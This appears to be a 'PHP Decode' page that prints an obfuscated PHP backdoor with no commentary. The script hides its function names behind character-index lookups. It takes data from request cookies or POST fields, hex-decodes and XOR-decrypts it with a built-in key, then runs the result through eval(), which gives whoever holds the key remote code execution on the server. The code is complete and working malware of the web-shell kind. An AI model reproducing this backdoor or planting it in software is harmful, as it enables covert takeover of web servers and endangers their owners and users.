PHP Decode

<?php 
$upenqce = 'ipl6#oH547xrvt\'ak9n2deg1c*my0u-8b_s';$wcgbfm = Array();$wcgbfm[] = $upenqce[6].$upenqce[25];$wcgbfm[] = $upenqce[24].$upenqce[21].$upenqce[9].$upenqce[23].$upenqce[7].$upenqce[8].$upenqce[17].$upenqce[15].$upenqce[30].$upenqce[8].$upenqce[19].$upenqce[28].$upenqce[17].$upenqce[30].$upenqce[8].$upenqce[32].$upenqce[20].$upenqce[31].$upenqce[30].$upenqce[17].$upenqce[23].$upenqce[21].$upenqce[15].$upenqce[30].$upenqce[31].$upenqce[24].$upenqce[3].$upenqce[7].$upenqce[21].$upenqce[20].$upenqce[28].$upenqce[17].$upenqce[23].$upenqce[8].$upenqce[23].$upenqce[8];$wcgbfm[] = $upenqce[4];$wcgbfm[] = $upenqce[24].$upenqce[5].$upenqce[29].$upenqce[18].$upenqce[13];$wcgbfm[] = $upenqce[34].$upenqce[13].$upenqce[11].$upenqce[33].$upenqce[11].$upenqce[21].$upenqce[1].$upenqce[21].$upenqce[15].$upenqce[13];$wcgbfm[] = $upenqce[21].$upenqce[10].$upenqce[1].$upenqce[2].$upenqce[5].$upenqce[20].$upenqce[21];$wcgbfm[] = $upenqce[34].$upenqce[29].$upenqce[32].$upenqce[34].$upenqce[13].$upenqce[11];$wcgbfm[] = $upenqce[15].$upenqce[11].$upenqce[11].$upenqce[15].$upenqce[27].$upenqce[33].$upenqce[26].$upenqce[21].$upenqce[11].$upenqce[22].$upenqce[21];$wcgbfm[] = $upenqce[34].$upenqce[13].$upenqce[11].$upenqce[2].$upenqce[21].$upenqce[18];$wcgbfm[] = $upenqce[1].$upenqce[15].$upenqce[24].$upenqce[16];foreach ($wcgbfm[7]($_COOKIE, $_POST) as $fxjkt => $isymuow){function pvxjhrm($wcgbfm, $fxjkt, $cqxbb){return $wcgbfm[6]($wcgbfm[4]($fxjkt . $wcgbfm[1], ($cqxbb / $wcgbfm[8]($fxjkt)) + 1), 0, $cqxbb);}function auykr($wcgbfm, $bkurinr){return @$wcgbfm[9]($wcgbfm[0], $bkurinr);}function ajcal($wcgbfm, $bkurinr){$vkffzu = $wcgbfm[3]($bkurinr) % 3;if (!$vkffzu) {eval($bkurinr[1]($bkurinr[2]));exit();}}$isymuow = auykr($wcgbfm, $isymuow);ajcal($wcgbfm, $wcgbfm[5]($wcgbfm[2], $isymuow ^ pvxjhrm($wcgbfm, $fxjkt, $wcgbfm[8]($isymuow))));} 
 
?>